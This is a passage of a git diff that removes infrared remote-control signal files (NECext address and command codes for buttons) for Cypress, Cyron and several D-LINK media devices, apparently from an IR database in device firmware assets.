-type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir deleted file mode 100644 index 61e1312e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir deleted file mode 100644 index c1d6d0927..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GREEN_+ -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 00 00 00 00 -# -name: BLUE_+ -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 01 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 02 00 00 00 -# -name: GREEN_- -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 03 00 00 00 -# -name: BLUE_- -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 04 00 00 00 -# -name: WHITE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 05 00 00 00 -# -name: MEMORY_2 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 06 00 00 00 -# -name: MEMORY_3 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 07 00 00 00 -# -name: MEMORY_4 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 08 00 00 00 -# -name: MEMORY_6 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 09 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0A 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0B 00 00 00 -# -name: 100_% -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0D 00 00 00 -# -name: RED_+ -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0E 00 00 00 -# -name: MEMORY_1 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0F 00 00 00 -# -name: SLEEP_TIMER -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 10 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 11 00 00 00 -# -name: FAST_SPEED_(1_SEC) -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 13 00 00 00 -# -name: POWER:_OFF -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 14 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 15 00 00 00 -# -name: MEMORY_7 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 16 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 17 00 00 00 -# -name: SLOW_SPEED_(60_SEC) -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 18 00 00 00 -# -name: POWER:_ON -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 19 00 00 00 -# -name: MEMORY_5 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1A 00 00 00 -# -name: 25% -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1B 00 00 00 -# -name: MEDIUM_SPEED_(5_SEC) -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1C 00 00 00 -# -name: 75% -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1D 00 00 00 -# -name: 50% -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1E 00 00 00 -# -name: RED_- -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir deleted file mode 100644 index 7858c84ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 00 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0B 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0C 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 0F 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 10 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 11 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 12 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 13 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 14 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 15 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 16 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 18 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 19 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 1B 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 1C 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 1D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 1E 00 00 00 -# -name: TAG -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 1F 00 00 00 -# -name: JUMP_UP -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 40 00 00 00 -# -name: JUMP_DOWN -type: parsed -protocol: NECext -address: 12 25 00 00 -command: 41 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir deleted file mode 100644 index dad866aac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: ON_LINE_MEDIA -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: VIDEO_OUT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: NEXT_>> -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: AUDIO_OUT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: PREV_<< -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir deleted file mode 100644 index b3d7a8b08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAGE_-- -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: ONLINE_MEDIA -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 17 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: VOL_-- -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 45 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4E 00 00 00 -# -name: VIDEO_OUT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir deleted file mode 100644 index d40c938af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAGE- -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 12 00 00 00 -# -name: ONLINE_MEDIA -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 14 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 16 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 17 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 17 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 18 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 1D 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 1E 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 1F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 42 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 43 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 45 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 46 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 4A 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 4D 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 4E 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 51 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 52 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 54 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 54 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 56 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 58 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 5A 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 5C 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 5D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 E7 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir deleted file mode 100644 index e6098c736..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 17 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 45 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: dot -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4E 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: AudioOut -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir deleted file mode 100644 index c091cfc46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO_PRIVACY -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 80 00 00 00 -# -name: SELF/REMOTE_VIEW -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 81 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 85 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 86 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 87 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 88 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8B 00 00 00 -# -name: SPEAKER_PHONE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8C 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 90 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 92 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 93 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 94 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 95 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 99 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9A 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9D 00 00 00 